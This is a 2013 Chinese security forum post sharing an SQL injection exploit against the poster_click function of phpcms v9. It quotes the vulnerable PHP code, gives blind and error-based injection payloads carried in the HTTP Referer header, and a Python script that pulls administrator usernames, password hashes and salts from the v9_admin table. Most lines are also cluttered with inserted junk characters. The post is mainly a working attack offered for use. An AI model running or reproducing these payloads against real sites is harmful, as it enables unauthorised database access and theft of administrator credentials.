找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2234|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
8 q+ i( {& ~4 m, u6 G4 r, u2 K5 c: N* u; I/ g2 ~& d
问题函数\phpcms\modules\poster\index.php" ~8 Y5 R: ]+ N
$ q% v0 \7 e! V3 W
public function poster_click() {# i' g8 J( P4 M: i# Y2 \- Q% J' T) h
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
2 O" X6 I" n5 B4 L* _$r = $this->db->get_one(array('id'=>$id));
; _% L/ T* i7 q) b. ]- ]if (!is_array($r) && empty($r)) return false;( ~8 |0 p) B( G2 @1 ?% S6 y9 r
$ip_area = pc_base::load_sys_class('ip_area');
# f4 ~" ]0 ]. W$ip = ip();3 L: `* {( y1 z. Z! R- p* I( `, P
$area = $ip_area->get($ip);- F/ k; v+ p1 f
$username = param::get_cookie('username') ? param::get_cookie('username') : '';; ?3 Q7 `* D3 A- ^
if($id) {" X" g2 S) s6 Y4 Q. Z7 A1 R
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
* \/ g8 X. h  V. S$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
! a: ?7 P0 w$ J}/ g3 u* @* j/ z2 L1 A' E1 s
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));) K, m8 _5 e. q- e: {& g6 ~
$setting = string2array($r['setting']);, Y, R$ m5 u, E) Y
if (count($setting)==1) {2 {( u" ]) e+ r. u& n4 e; M
$url = $setting['1']['linkurl'];8 h- K, `& d6 E: C
} else {0 U& I* k; r. o/ B+ X/ `7 m
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];+ r1 |, L- M# o
}/ q* j3 b) }8 P' t- C3 B$ T+ h
header('Location: '.$url);; h1 A" [4 z8 _7 y4 d0 N7 Z
}' ^# x$ S( ]8 b  V; X2 j; E

, Z4 t# w" z8 `* v, g
# D/ b3 x. N3 B& W) V0 }3 v( s# G# y' g; t+ ?, o$ @- r
利用方式:
7 X1 V- Q) C: |/ l
3 c; U: N' K& o% p1、可以采用盲注入的手法:* o) n$ Z% F* D* I" W# m, O2 s

! \2 j( o% z0 B; }2 Breferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
: b! |/ z- n; g$ }: ]
+ s6 b3 g' J% z0 I0 ~  z3 J通过返回页面,正常与否一个个猜解密码字段。
9 j3 d! U, Y) J) `
1 t+ d7 Q0 i# Z# c" [5 R& H2、代码是花开写的,随手附上了:- e/ N% o/ k: U5 b4 g. o: {3 @, n

; ]4 t& O; O+ b4 t# O; g) Q& b1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#2 K0 V+ v' G4 y9 M1 i# |# N
* e# `9 h& L% \5 b9 ]8 V! V
此方法是爆错注入手法,原理自查。
2 ^& L5 G" J  X2 j- L
; h4 l6 z1 V; C' h" x % R  @2 a# I" {9 [# {

6 M* X9 t+ `  m! W# z. J: @利用程序:& M  h! H" V7 D! H( c
3 C+ O0 P. q2 h1 x! W/ o
#!/usr/bin/env python
) G0 _/ }; p& q, N5 t, {import httplib,sys,re" o7 B2 U$ r; T. q" q" N  \9 O2 ~

& `" O9 x- W* c5 @5 j$ x, ydef attack():8 y, d9 z1 @4 J$ v
print “Code by Pax.Mac Team conqu3r!”. S8 j* Y; t8 u7 o6 J7 n( X
print “Welcome to our zone!!!”& [5 ?/ n' G* Y
url=sys.argv[1]
8 G; }+ }0 |  x7 G- ppaths=sys.argv[2]3 P! K3 B5 Y5 s% ^) [9 V1 I% L
conn = httplib.HTTPConnection(url)
$ @5 ^7 S1 x; T1 V' Wi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
, k4 T  n* \9 _  r1 a9 |“Accept”: “text/plain”,# T0 ~& [8 x% V+ \: F$ C
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}! w, M$ a" B6 }+ d, F) g: ^. W2 B8 C8 i
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)) a# n2 F% Z1 V, \9 `
r1 = conn.getresponse()- z1 Q6 H, G$ _2 _1 n
datas=r1.read(), \8 j' [: T3 b
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
! q5 I4 S3 Q6 Q% _* Cprint datas[0]3 D/ c" o. D( F; l
conn.close()) p; \9 }6 t; a5 d
if __name__==”__main__”:
0 b* j( H/ q8 t* D( rif len(sys.argv)<3:
7 N* M' G4 \& C: R  v/ ?3 Xprint “Code by Pax.Mac Team conqu3r”. X) q5 T8 Z7 V% d  J& S
print “Usgae:”
# y! ~5 @+ l+ A+ l; q' k5 q( Y/ hprint “    phpcmsattack.py   www.paxmac.org /”
! [1 P5 ?% f* A5 V1 T7 `print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”- ]; l- W( I5 I6 g
sys.exit(1)
" N: p- x  E; m  m, l' h* w6 B! jattack()- K( Z1 w$ D- h' C4 y+ w/ k

' ^: H& O$ V+ g5 h" U- ^( Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表